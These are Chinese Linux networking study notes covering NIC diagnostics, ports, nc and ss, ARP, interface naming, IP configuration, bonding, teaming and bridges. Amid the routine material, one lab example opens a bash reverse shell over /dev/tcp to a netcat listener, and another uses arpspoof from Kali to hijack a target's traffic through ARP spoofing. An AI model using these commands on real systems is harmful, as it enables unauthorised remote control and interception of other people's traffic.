网络基础

查看双工和速度

[root@localhost ~]# mii-tool eth0
eth0: negotiated 100baseTx-FD, link ok
[root@localhost ~]# mii-tool -v eth0
eth0: negotiated 100baseTx-FD, link ok
product info: vendor 00:07:32, model 17 rev 5
basic mode: autonegotiation enabled
basic status: autonegotiation complete, link ok
capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
advertising: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD flow-control
link partner: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD

[root@centos8 ~]#ethtool -i eth0
driver: vmxnet3
version: 1.4.16.0-k-NAPI
firmware-version:
expansion-rom-version:
bus-info: 0000:03:00.0
supports-statistics: yes
supports-test: no
supports-eeprom-access: no
supports-register-dump: yes
supports-priv-flags: no

[root@centos8 ~]#ethtool eth0
Settings for eth0:
        Supported ports: [ TP ]
        Supported link modes: 1000baseT/Full
        10000baseT/Full
        Supported pause frame use: No
        Supports auto-negotiation: No
        Supported FEC modes: Not reported
        Advertised link modes: Not reported
        Advertised pause frame use: No
        Advertised auto-negotiation: No
        Advertised FEC modes: Not reported
        Speed: 10000Mb/s
        Duplex: Full
        Port: Twisted Pair
        PHYAD: 0
        Transceiver: internal
        Auto-negotiation: off
        MDI-X: Unknown
        Supports Wake-on: uag
        Wake-on: d
        Link detected: yes

[root@centos8 ~]#mii-tool eth0
SIOCGMIIPHY on 'eth0' failed: Operation not supported

#网络断开的状态
[root@centos8 ~]#mii-tool -v eth1
eth1: no link
product info: Yukon 88E1011 rev 3
basic mode: autonegotiation enabled
basic status: no link
capabilities: 1000baseT-FD 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
advertising: 1000baseT-FD 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD

[root@centos8 ~]#ip link
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT
group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP mode
DEFAULT group default qlen 1000
    link/ether 00:0c:29:f8:5d:b7 brd ff:ff:ff:ff:ff:ff
3: eth1: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DOWN
mode DEFAULT group default qlen 1000
    link/ether 00:0c:29:f8:5d:c1 brd ff:ff:ff:ff:ff:ff

如何判断网线断开

[root@centos8 ~]#mii-tool eth1
root@pve:~#  mii-tool  enp2s0
enp2s0: negotiated 1000baseT-FD flow-control, link ok

[root@rocky9 ~]# ethtool  ens18
Settings for ens18:
        Supported ports: [  ]
        Supported link modes:   Not reported
        Supported pause frame use: No
        Supports auto-negotiation: No
        Supported FEC modes: Not reported
        Advertised link modes:  Not reported
        Advertised pause frame use: No
        Advertised auto-negotiation: No
        Advertised FEC modes: Not reported
        Speed: Unknown!
        Duplex: Unknown! (255)
        Auto-negotiation: off
        Port: Other
        PHYAD: 0
        Transceiver: internal
        Link detected: yes

TCP协议PORT

传输层通过port号,确定应用层协议,范围0-65535
维基百科:https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers
IANA互联网数字分配机构负责域名,数字资源,协议分配
0-1023:系统端口或特权端口(仅管理员可用) ,众所周知,永久的分配给固定的系统应用使用, 22/tcp(ssh), 80/tcp(http), 443/tcp(https) 1024-49151:用户端口或注册端口,但要求并不严格,分配给程序注册为某应用使用, 1433/tcp(SqlServer), 1521/tcp(oracle),3306/tcp(mysql),11211/tcp/udp (memcached) 49152-65535:动态或私有端口,客户端随机使用端口,范围定 义:/proc/sys/net/ipv4/ip_local_port_range

范例:调整客户端的动态端口范围

[root@centos8 ~]#cat /proc/sys/net/ipv4/ip_local_port_range
32768 60999
[root@centos8 ~]#echo 20000 62000 > /proc/sys/net/ipv4/ip_local_port_range
[root@centos8 ~]#cat /proc/sys/net/ipv4/ip_local_port_range
20000 62000

范例:

[root@centos8 ~]#dnf -y install man-pages
[root@centos8 ~]#man 2 socket
[root@centos8 ~]#dnf -y install nc
## 监控所有状态
[root@rocky9 ~]# ss -nta
State     Recv-Q    Send-Q       Local Address:Port         Peer Address:Port     Process
LISTEN    0         128                0.0.0.0:22                0.0.0.0:*
ESTAB     0         0             192.168.5.84:22           192.168.5.25:9991
ESTAB     0         64            192.168.5.84:22           192.168.5.25:10840
ESTAB     0         0             192.168.5.84:22           192.168.5.25:9993
ESTAB     0         0             192.168.5.84:22           192.168.5.25:10841
LISTEN    0         128                   [::]:22                   [::]:*
## 统计出主机当前状态的各种次数
[root@rocky9 ~]# cut -d" "  -f1 ss.log | sed -n '2,$p'|sort | uniq -c
      4 ESTAB
      2 LISTEN
[root@rocky9 ~]#
[root@rocky9 ~]# cut -d" "  -f1 ss.log | tail -n +2|sort | uniq -c
      4 ESTAB
      2 LISTEN
[root@rocky9 ~]# cut -d" "  -f1 ss.log | tail -n +2|sort | uniq -c |sort -nr|head -n2
      4 ESTAB
      2 LISTEN

#服务器端
[root@centos8 ~]#ss -ntlu
Netid State Recv-Q Send-Q Local Address:Port Peer
Address:Port
tcp LISTEN 0 128 0.0.0.0:22
0.0.0.0:*
tcp LISTEN 0 128 [::]:22
[::]:*
[root@centos8 ~]#nc -l 22
Ncat: bind to :::22: Address already in use. QUITTING.
[root@centos8 ~]#nc -l 9527
I am centos7
I am centos8
#客户端
[root@centos7 ~]#nc 10.0.0.8 9527
I am centos7
I am centos8
#再开一个连接失败
[root@centos7 ~]#nc 10.0.0.8 9527
Ncat: Connection refused.
[root@centos8 ~]#ss -nt
State Recv-Q Send-Q Local Address:Port Peer
Address:Port
ESTAB 0 0 10.0.0.8:9527
10.0.0.7:40706
#服务器开启UDP的端口
[root@centos8 ~]#nc -l 7000 -u
#客户端连接
[root@centos7 ~]#nc 10.0.0.8 7000 -u
[root@centos8 ~]#ss -ntu
Netid State Recv-Q Send-Q Local Address:Port
Peer Address:Port
udp ESTAB 0 0 10.0.0.8:7000
10.0.0.7:52667
tcp ESTAB 0 0 10.0.0.8:8000
10.0.0.7:53402
tcp ESTAB 0 52 10.0.0.8:22
10.0.0.1:13305
[wang@centos8 ~]$nc -l 1023
Ncat: bind to :::1023: Permission denied. QUITTING

范例:找到端口冲突的应用程序

[root@centos8 ~]#nc -l 22
Ncat: bind to :::22: Address already in use. QUITTING.

[root@centos8 ~]#ss -ntlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
users:(("sshd",pid=699,fd=4))
LISTEN 0 128 [::]:22 [::]:*
users:(("sshd",pid=699,fd=6))
[root@centos8 ~]#lsof -i :22
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 699 root 4u IPv4 26846 0t0 TCP *:ssh (LISTEN)
sshd 699 root 6u IPv6 26848 0t0 TCP *:ssh (LISTEN)


sshd 1287 root 5u IPv4 29875 0t0 TCP centos8.localdomain:ssh-
>10.0.0.1:pc-mta-addrmap (ESTABLISHED)
sshd 1300 root 5u IPv4 29875 0t0 TCP centos8.localdomain:ssh-
>10.0.0.1:pc-mta-addrmap (ESTABLISHED)

范例:判断端口是否正在打开

[root@centos8 ~]#< /dev/tcp/127.0.0.1/80
[root@centos8 ~]#echo $?
0
[root@centos8 ~]#< /dev/tcp/127.0.0.1/8080
-bash: connect: Connection refused
-bash: /dev/tcp/127.0.0.1/8080: Connection refused
[root@centos8 ~]#echo $?
1

范例:利用重定向实现上网

[root@centos8 ~]#exec 8<>/dev/tcp/www.baidu.com/80
[root@centos8 ~]#ll /proc/$$/fd
total 0
lrwx------ 1 root root 64 Apr 20 14:14 0 -> /dev/pts/0
lrwx------ 1 root root 64 Apr 20 14:14 1 -> /dev/pts/0
lrwx------ 1 root root 64 Apr 20 14:14 2 -> /dev/pts/0
lrwx------ 1 root root 64 Apr 20 14:17 255 -> /dev/pts/0
lr-x------ 1 root root 64 Apr 20 14:14 3 -> /var/lib/sss/mc/passwd
lrwx------ 1 root root 64 Apr 20 14:14 4 -> 'socket:[32754]'
lrwx------ 1 root root 64 Apr 20 14:14 8 -> 'socket:[32777]'
[root@centos8 ~]#echo -e 'GET / HTTP/1.1\n' >& 8
[root@centos8 ~]#cat <& 8

范例:反弹 shell 实现远程控制

#在控制机监听打开端口
[root@centos8 ~]#dnf -y install nc
[root@centos8 ~]#nc -lvp 6666
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666

#在被控制机上实现反弹shell
[root@centos7 ~]#bash -i &> /dev/tcp/10.0.0.8/6666 0>&1

#在控制机主机可以观察到以下信息,自动登录到被控制主机,且可以执行命令

image

常见程序端口号

[root@rocky9 ~l#vim /etc/services
[root@rocky9 ~]# grep 6666 /etc/services  查看端口是否使用
ircu-2          6666/tcp                # IRCU
ircu-2          6666/udp                # IRCU
vtp             16666/udp               # Vidder Tunnel Protocol

最大发包

[root@centos8 ~]#ping -s 65508 10.0.0.8
Error: packet size 65508 is too large. Maximum is 65507
[root@centos8 ~]#ping -f -s 65507 172.18.0.200
PING 172.18.0.200 (172.18.0.200) 65507(65535) bytes of data.

ARP

范例:ARP 表

[root@magedu ~]#ip neigh
192.168.1.110 dev eth0 lladdr 60:02:b4:e3:8a:c0 STALE
192.168.1.156 dev eth0 lladdr 50:01:d9:8a:1d:3f STALE
192.168.1.114 dev eth0 lladdr 40:8d:5c:e1:97:34 STALE
192.168.1.118 dev eth0 lladdr 94:65:2d:38:44:82 STALE
[root@magedu ~]#arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.1.110 ether 60:02:b4:e3:8a:c0 C eth0
192.168.1.156 ether 50:01:d9:8a:1d:3f C eth0
192.168.1.114 ether 40:8d:5c:e1:97:34 C eth0
192.168.1.118 ether 94:65:2d:38:44:82 C eth0

ARP静态绑定可以防止ARP欺骗

[root@centos8 ~]#arp -s 10.0.0.6 00:0c:29:32:80:38
[root@centos8 ~]#arp -n
Address HWtype HWaddress Flags Mask Iface
10.0.0.6 ether 00:0c:29:32:80:38 CM eth0
10.0.0.7 ether 00:0c:29:32:80:38 C eth0
10.0.0.1 ether 00:50:56:c0:00:08 C eth0

kali 系统实现 arp 欺骗上网流量劫持

#启动路由转发功能
[root@kali ~]# echo 1 > /proc/sys/net/ipv4/ip_forward
#安装包
[root@kali ~]# apt-get install dsniff
#欺骗目标主机,本机是网关
[root@kali ~]# arpspoof -i eth0 -t 被劫持的目标主机IP 网关IP
#欺骗网关,本机是目标主机
[root@kali ~]# arpspoof -i eth0 -t 网关IP 被劫持的目标主机IP

检测mac地址是否冲突

image

ss 命令

来自于iproute包,代替netstat,netstat 通过遍历 /proc来获取 socket信息,ss 使用 netlink与内核
tcp_diag 模块通信获取 socket 信息
格式:

ss [OPTION]... [FILTER]

选项:

-t: tcp协议相关
-u: udp协议相关
-w: 裸套接字相关
-x:unix sock相关
-l: listen状态的连接
-a: 所有
-n: 数字格式
-p: 相关的程序及PID
-e: 扩展的信息
-m:内存用量
-o:计时器信息

常用组合:

-tan, -tanl, -tanlp, -uan

范例:常见用法

#显示本地打开的所有端口
ss -l
#显示每个进程具体打开的socket
ss -pl
#显示所有tcp socket
ss -t -a
#显示所有的UDP Socekt
ss -u -a
#显示所有已建立的ssh连接
ss -o state established '( dport = :ssh or sport = :ssh )'
#显示所有已建立的HTTP连接
ss -o state established '( dport = :http or sport = :http )'
[root@centos8 ~]#ss -no state established '( dport = :21 or sport = :21 )'

主机名称

CentOS 6

image

CentOS 7

image

网卡名称

CentOS 6 之前版本网卡名称

接口命名方式:CentOS 6

以太网:eth[0,1,2,...]
ppp:ppp[0,1,2,...]

网络接口识别并命名相关的udev配置文件:

/etc/udev/rules.d/70-persistent-net.rules

查看网卡:

dmesg |grep i eth
ethtool -i eth0

卸载网卡驱动:

modprobe -r e1000
rmmod e1000

装载网卡驱动:

modprobe e1000

范例:临时修改网卡名称

[root@centos6 ~]#ip link set eth0 down
[root@centos6 ~]#ip link set eth0 name abc
[root@centos6 ~]#ip link set abc up

CentOS 7 以上版网络配置

CentOS 6之前,网络接口使用连续号码命名:eth0、eth1等,当增加或删除网卡时,名称可能会发生变 化
CentOS 7 以上版使用基于硬件,设备拓扑和设置类型命名,可以保持网卡名称的稳定
CentOS 8 中已弃用network.service,采用NetworkManager(NM)为网卡启用命令。CentOS 8 仍可 以安装network.service作为网卡服务,只是默认没有安装,具体方法为: dnf install network- scripts ,不过官方已明确在下一个大版本中,将彻底放弃network.service,不建议继续使用 network.service管理网络。
systemd对网络设备的命名方式

systemd对网络设备的命名方式

  1. 如果Firmware或BIOS为主板上集成的设备提供的索引信息可用,且可预测则根据此索引进行命 名,如:eno1
  2. 如果Firmware或BIOS为PCI-E扩展槽所提供的索引信息可用,且可预测,则根据此索引进行命名, 如:ens1
  3. 如果硬件接口的物理位置信息可用,则根据此信息命名,如:enp2s0
  4. 如果用户显式启动,也可根据MAC地址进行命名,如:enx2387a1dc56
  5. 上述均不可用时,则使用传统命名机制
    基于BIOS支持启用biosdevname软件
内置网卡:em1,em2
pci卡:pYpX Y:slot ,X:port

网卡组成格式

en: Ethernet 有线局域网
wl: wlan 无线局域网
ww: wwan无线广域网
o<index>: 集成设备的设备索引号
s<slot>: 扩展槽的索引号
x<MAC>: 基于MAC地址的命名
p<bus>s<slot>: enp2s1

使用传统命名方式:

(1) 编辑/etc/default/grub配置文件

GRUB_CMDLINE_LINUX="net.ifnames=0 biosdevname=0"

(2) 为grub2生成其配置文件

On a system with UEFI boot mode:
# grub2-mkconfig -o /boot/efi/EFI/redhat/grub.cfg
On a system with legacy boot mode:
# grub2-mkconfig -o /boot/grub2/grub.cfg
# grub2-mkconfig -o /etc/grub2.cfg
#修改网卡名称
[root@rocky8 ~]#sed -ri '/GRUB_CMDLINE_LINUX=/s#(.*)"$#\1 net.ifnames=0"#' /etc/default/grub
[root@rocky8 ~]#grub2-mkconfig -o /boot/grub2/grub.cfg 
[root@rocky8 ~]#reboot


ubuntu grub-mkconfig -o /boot/grub/grub.cfg 

(3) 重启系统

reboot

自定义网卡名

GRUB_CMDLINE_LINUX="... net.ifnames.prefix=<required prefix>"

范例: 自定义网卡名

root@centos8 ~]# vi /etc/default/grub
GRUB_CMDLINE_LINUX="net.ifnames.prefix=wang"
[root@centos8 ~]# grub2-mkconfig -o /boot/grub2/grub.cfg
[root@centos8 ~]# reboot
[root@centos8 ~]# ip link
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT
group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: wang0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
mode DEFAULT group default qlen 1000
link/ether 00:0c:29:15:9b:83 brd ff:ff:ff:ff:ff:ff
3: wang1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP
mode DEFAULT group default qlen 1000
link/ether 00:0c:29:15:9b:8d brd ff:ff:ff:ff:ff:ff

不重启办法 范例:

#禁用网卡
ip link set eth1 down
#网卡改名
ip link set eth1 name wangnet
#启用网卡
ip link set wangnet up
#网卡别名
ip addr add 172.16.100.100/16 dev eth0 label eth0:0
ip addr del 172.16.100.100/16 dev eth0 label eth0:0
#清除网络地址
ip addr flush dev eth0

获取IP地址

动态获取

[root@centos8 network-scripts]# vim ifcfg-eth0
写入以下三行即可
DEVICE=eht0
NAME=eth0
BOOTPROTO=dhcp

静态获取

DEVICE=eht0
NAME=eth0
BOOTPROTO=static 或none
IPADDR=10.0.0.88
NETMASK=255.255.255.0
PREFIX=24
GATEWAT=10.0.0.1
DNS1=114.114.114.114
DNS2=8.8.8.8

然后执行

[rooterocku8network-scriptsl]# nmcli connection reload
[rooterocku8network-scriptsl]# nmcli connection up eth0

如果是centos7则
systemctl restart network

网关验证

route -n

image

路由相关的配置文件

etc/sysconfig/network-scripts/route-IFACE

两种风格:
(1) TARGET via GW
如:10.0.0.0/8 via 172.16.0.1

(2) 每三行定义一条路由
ADDRESS#=TARGET
NETMASK#=mask
GATEWAY#=GW

范例: CentOS7 创建/etc/sysconfig/static-routes文件添加持久静态路由 image

网卡别名

将多个IP地址绑定到一个NIC上
每个IP绑定到独立逻辑网卡,即网络别名,命名格式: ethX:Y,如:eth0:1 、eth0:2、eth0:3
范例:ifconfig 命令

ifconfig eth0:0 192.168.1.100/24 up
ifconfig eth0:0 down

范例:ip 命令

ip addr add 172.16.1.1/16 dev eth0
ip addr add 172.16.1.2/16 dev eth0 label eth0:0
ip addr del 172.16.1.2/16 dev eth0 label eth0:0
ip addr flush dev eth0 label eth0:0

为每个设备别名生成独立的接口配置文件,格式为:ifcfg-ethX:xxx
范例: 给 lo 网卡加别名(此方式不适用于CentOS8)

[root@centos7 network-scripts]#pwd
/etc/sysconfig/network-scripts
[root@centos7 network-scripts]#cat ifcfg-lo:1
DEVICE=lo:1
IPADDR=137.0.0.1
NETMASK=255.0.0.0
NETWORK=137.0.0.0
# If you're having problems with gated making 127.0.0.0/8 a martian,
# you can change this to something else (255.255.255.255, for example)
BROADCAST=137.255.255.255
ONBOOT=yes
NAME=loopback1
[root@centos7 network-scripts]#ip addr show lo
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group
default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet 137.0.0.1/8 brd 137.255.255.255 scope global lo:1
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever

范例:

[root@centos8 ~]#cat /etc/sysconfig/network-scripts/ifcfg-eth0:1
DEVICE=eth0:1
IPADDR=10.0.0.100
PREFIX=8

[root@centos8 ~]#ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.0.8 netmask 255.255.255.0 broadcast 10.0.0.255
inet6 fe80::20c:29ff:fe09:f5b prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:09:0f:5b txqueuelen 1000 (Ethernet)
RX packets 2320 bytes 200266 (195.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1891 bytes 279736 (273.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth0:1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.0.100 netmask 255.0.0.0 broadcast 10.255.255.255
ether 00:0c:29:09:0f:5b txqueuelen 1000 (Ethernet)

方法一 永久添加网卡别名

修改配置文件 image image image

方法二只改一个配置文件

image image image image CentOS网卡配置文件生效方法

CentOS6
service network restart
CentOS7
systemctl restart network
CentOS8和rocky
nmcli connnection reload
nmcli connnettion up eth0

#通用
reboot

多网卡 bonding

将多块网卡绑定同一IP地址对外提供服务,可以实现高可用或者负载均衡。直接给两块网卡设置同一IP 地址是不可以的。通过 bonding,虚拟一块网卡对外提供连接,物理网卡的被修改为相同的MAC地址

Bonding 聚合链路工作模式

bond聚合链路模式共7种模式:0-6 Mode

  • mod=0 ,即:(balance-rr) Round-robin policy(轮询)聚合口数据报文按包轮询从物理接口转 发。 负载均衡—所有链路处于负载均衡状态,轮询方式往每条链路发送报文这模式的特点增加了带宽, 同时支持容错能力,当有链路出问题,会把流量切换到正常的链路上。 性能问题—一个连接或者会话的数据包如果从不同的接口发出的话,中途再经过不同的链路,在客 户端很有可能会出现数据包无序到达的问题,而无序到达的数据包需要重新要求被发送,这样网络 的吞吐量就会下降。Bond0在大压力的网络传输下,性能增长的并不是很理想。 需要交换机进行端口绑定
  • mod=1,即: (active-backup) Active-backup policy(主-备份策略)只有Active状态的物理接口 才转发数据报文。 容错能力—只有一个slave是激活的(active)。也就是说同一时刻只有一个网卡处于工作状态,其他 的slave都处于备份状态,只有在当前激活的slave故障后才有可能会变为激活的(active)。 无负载均衡—此算法的优点是可以提供高网络连接的可用性,但是它的资源利用率较低,只有一个 接口处于工作状态,在有 N 个网络接口的情况下,资源利用率为1/N。
  • mod=2,即:(balance-xor) XOR policy(平衡策略)聚合口数据报文按源目MAC、源目IP、源目 端口进行异或HASH运算得到一个值,根据该值查找接口转发数据报文 负载均衡—基于指定的传输HASH策略传输数据包。 容错能力—这模式的特点增加了带宽,同时支持容错能力,当有链路出问题,会把流量切换到正常 的链路上。 性能问题—该模式将限定流量,以保证到达特定对端的流量总是从同一个接口上发出。既然目的地 是通过MAC地址来决定的,因此该模式在“本地”网络配置下可以工作得很好。如果所有流量是通过 单个路由器,由于只有一个网关,源和目标mac都固定了,那么这个算法算出的线路就一直是同一 条,那么这种模式就没有多少意义了。 需要交换机配置为port channel
  • mod=3,即:broadcast(广播策略)这种模式的特点是一个报文会复制两份往bond下的两个接 口分别发送出去, 当有对端交换机失效,感觉不到任何downtime,但此法过于浪费资源;不过这种模式有很好的容 错机制。此模式适用于金融行业,因为他们需要高可靠性的网络,不允许出现任何问题。
  • mod=4,即:(802.3ad) IEEE 802.3ad Dynamic link aggregation(IEEE 802.3ad 动态链接聚合) 在动态聚合模式下,聚合组内的成员端口上均启用LACP(链路汇聚控制协议)协议,其端口状态 通过该协议自动进行维护。 负载均衡—基于指定的传输HASH策略传输数据包。默认算法与blance-xor一样。 容错能力—这模式的特点增加了带宽,同时支持容错能力,当有链路出问题,会把流量切换到正常 的链路上。对比blance-xor,这种模式定期发送LACPDU报文维护链路聚合状态,保证链路质量。 需要交换机支持LACP协议
  • mod=5,即:(balance-tlb) Adaptive transmit load balancing(适配器传输负载均衡) 在每个物理接口上根据当前的负载(根据速度计算)分配外出流量。如果正在接收数据的物理接口 口出故障了,另一个物理接口接管该故障物理口的MAC地址。 需要ethtool支持获取每个slave的速率
  • mod=6,即:(balance-alb) Adaptive load balancing(适配器适应性负载均衡) 该模式包含了balance-tlb模式,同时加上针对IPV4流量的接收负载均衡,而且不需要任何 switch(交换机)的支持。接收负载均衡是通过ARP协商实现的。bonding驱动截获本机发送的ARP应 答,并把源硬件地址改写为bond中某个物理接口的唯一硬件地址,从而使得不同的对端使用不同 的硬件地址进行通信。
  • mod=6与mod=0的区别:mod=6,先把eth0流量占满,再占eth1,….ethX;而mod=0的话,会 发现2个口的流量都很稳定,基本一样的带宽。而mod=6,会发现第一个口流量很高,第2个口只 占了小部分流量 说明:
常用的模式为 0,1,3,6
mode 1、5、6 不需要交换机设置
mode 0、2、3、4需要交换机设置
active-backup、balance-tlb 和 balance-alb 模式不需要交换机的任何特殊配置。其他绑定模式需
要配置交换机以便整合链接。如:Cisco 交换机需要在模式 0、2 和 3 中使用 EtherChannel,但在模式
4中需要 LACP和 EtherChannel

Bonding 配置

详细帮助: /usr/share/doc/kernel-doc-version/Documentation/networking/bonding.txt
https://www.kernel.org/doc/Documentation/networking/bonding.txt
创建bonding设备的配置文件

etc/sysconfig/network-scripts/ifcfg-bond0
NAME=bond0
TYPE=bond
DEVICE=bond0
BOOTPROTO=none
IPADDR=10.0.0.100
PREFIX=8
#miimon指定链路监测时间间隔。如果miimon=100,那么系统每100ms 监测一次链路连接状态,如果有一
条线路不通就转入另一条线路
BONDING_OPTS="mode=1 miimon=100 fail_over_mac=1"

/etc/sysconfig/network-scripts/ifcfg-eth0
NAME=eth0
DEVICE=eth0
BOOTPROTO=none
MASTER=bond0
SLAVE=yes
ONBOOT=yes

/etc/sysconfig/network-scripts/ifcfg-eth1
NAME=eth1
DEVICE=eth1
BOOTPROTO=none
MASTER=bond0
SLAVE=yes
ONBOOT=yes
nmcli connnection reload
nmcli connnettion up bond0
nmcli connnettion up eth0

查看bond0状态:

/proc/net/bonding/bond0

删除bond0

ifconfig bond0 down
rmmod bonding

nmcli实现 bonding

#添加bonding接口
nmcli con add type bond con-name mybond0 ifname bond0 mode active-backup
ipv4.method manual ipv4.addresses 10.0.0.100/24
#添加从属接口
nmcli con add type bond-slave ifname ens7 master bond0
nmcli con add type bond-slave ifname ens3 master bond0
#注:如无为从属接口提供连接名,则该名称是接口名称加类型构成

#要启动绑定,则必须首先启动从属接口
nmcli con up bond-slave-eth0
nmcli con up bond-slave-eth1

#启动绑定
nmcli con up mybond0

网络组 Network Teaming

网络组:是将多个网卡聚合在一起方法,从而实现冗错和提高吞吐量
网络组不同于旧版中bonding技术,提供更好的性能和扩展性
网络组由内核驱动和teamd守护进程实现
多种方式 runner

  • broadcast
  • roundrobin
  • activebackup
  • loadbalance
  • lacp (implements the 802.3ad Link Aggregation Control Protocol) 网络组特点
  • 启动网络组接口不会自动启动网络组中的port接口
  • 启动网络组接口中的port接口总会自动启动网络组接口
  • 禁用网络组接口会自动禁用网络组中的port接口
  • 没有port接口的网络组接口可以启动静态IP连接
  • 启用DHCP连接时,没有port接口的网络组会等待port接口的加入
#创建网络组接口
nmcli con add type team con-name CNAME ifname INAME [config JSON]

CNAME 连接名
INAME 接口名
JSON 指定runner方式,格式:'{"runner": {"name": "METHOD"}}'
METHOD 可以是broadcast, roundrobin, activebackup, loadbalance, lacp

#创建port接口
nmcli con add type team-slave con-name CNAME ifname INAME master TEAM

CNAME 连接名,连接名若不指定,默认为team-slave-IFACE
INAME 网络接口名
TEAM 网络组接口名

#断开和启动
nmcli dev dis INAME
nmcli con up CNAME

INAME 设备名 CNAME 网络组接口名或port接口

网络组示例

nmcli con add type team con-name myteam0 ifname team0 config '{"runner": {"name":
"loadbalance"}}' ipv4.addresses 192.168.1.100/24 ipv4.method manual
nmcli con add con-name team0-eth1 type team-slave ifname eth1 master team0
nmcli con add con-name team0-eth2 type team-slave ifname eth2 master team0


nmcli con up myteam0



nmcli con up team0-eth1
nmcli con up team0-eth2
teamdctl team0 state
ping -I team0 192.168.0.254
nmcli dev dis eth1
teamdctl team0 state
nmcli con up team0-port1
nmcli dev dis eth2
teamdctl team0 state
nmcli con up team0-port2
teamdctl team0 state

管理网络组配置文件

/etc/sysconfig/network-scripts/ifcfg-team0
DEVICE=team0
DEVICETYPE=Team
TEAM_CONFIG="{\"runner\": {\"name\": \"broadcast\"}}"
BOOTPROTO=none
IPADDR0=172.16.0.100
PREFIX0=24
NAME=team0
ONBOOT=yes

管理网络组配置文件

/etc/sysconfig/network-scripts/ifcfg-team0-eth1
DEVICE=eth1
DEVICETYPE=TeamPort
TEAM_MASTER=team0
NAME=team0-eth1
ONBOOT=yes

删除网络组

nmcli connection down team0
teamdctl team0 state
nmcli connection show
nmcli connectioni delete team0-eth0
nmcli connectioni delete team0-eth1
nmcli connection show

网桥(交换机)

桥接原理

桥接:把一台机器上的若干个网络接口“连接”起来。其结果是,其中一个网口收到的报文会被复制给其 他网口并发送出去。以使得网口之间的报文能够互相转发。网桥就是这样一个设备,它有若干个网口, 并且这些网口是桥接起来的。与网桥相连的主机就能通过交换机的报文转发而互相通信。 主机A发送的报文被送到交换机S1的eth0口,由于eth0与eth1、eth2桥接在一起,故而报文被复制到 eth1和eth2,并且发送出去,然后被主机B和交换机S2接收到。而S2又会将报文转发给主机C、D
CentOS 8 取消brctl 工具,可以用下面方法查看网桥

#查看桥接情况
[root@centos8 ~]#ip link show master virbr0
4: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc fq_codel master virbr0 state
DOWN mode DEFAULT group default qlen 1000
    link/ether 52:54:00:52:f2:5c brd ff:ff:ff:ff:ff:ff
8: vnet0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel master
virbr0 state UNKNOWN mode DEFAULT group default qlen 1000
    link/ether fe:54:00:95:25:fb brd ff:ff:ff:ff:ff:ff
9: vnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel master
virbr0 state UNKNOWN mode DEFAULT group default qlen 1000
    link/ether fe:54:00:83:9d:51 brd ff:ff:ff:ff:ff:ff

[root@centos8 ~]#bridge link show
4: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 master virbr0 state disabled
priority 32 cost 100
8: vnet0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 master virbr0 state
forwarding priority 32 cost 100
9: vnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 master virbr0 state
forwarding priority 32 cost 100

配置实现网桥

工具包:bridge-utils,目前 CentOS 8 系统光盘里无此包,EPEL源有此包

yum install bridge-utils

#查看网桥
brctl show

#查看CAM(content addressable memory内容可寻址存储器)表
brctl showmacs br0

#添加和删除网桥
brctl addbr | delbr br0

#添加和删除网桥中网卡
brctl addif | delif br0 eth0

#默认br0 是down,必须启用
ifconfig br0 up

#启用STP
[root@centos7 ~]#brctl show
bridge name bridge id       STP enabled interfaces
br0     8000.000c297e67a3   no  eth1
                            eth2
[root@centos7 ~]#brctl stp br0 on
[root@centos7 ~]#brctl show
bridge name bridge id STP enabled interfaces
br0         8000.000c297e67a3       yes      eth1
                                    eth2

注意:NetworkManager只支持以太网接口连接到网桥,不支持聚合接口

nmcli con add con-name mybr0 type bridge ifname br0
nmcli con modify mybr0 ipv4.addresses 10.0.0.100/24 ipv4.method manual
nmcli con add con-name br0-port0 type bridge-slave ifname eth0 master br0

查看配置文件

cat /etc/sysconfig/network-scripts/ifcfg-br0
cat /etc/sysconfig/network-scripts/ifcfg-br0-port0

范例:nmcli实现网桥

#1创建网桥
nmcli con add type bridge con-name br0 ifname br0
nmcli connection modify br0 ipv4.addresses 10.0.0.100/24 ipv4.method manual
nmcli con up br0

#2加入物理网卡
nmcli con add type bridge-slave con-name br0-port0 ifname eth0 master br0
nmcli con add type bridge-slave con-name br0-port1 ifname eth1 master br0
nmcli con up br0-port0
nmcli con up br0-port1

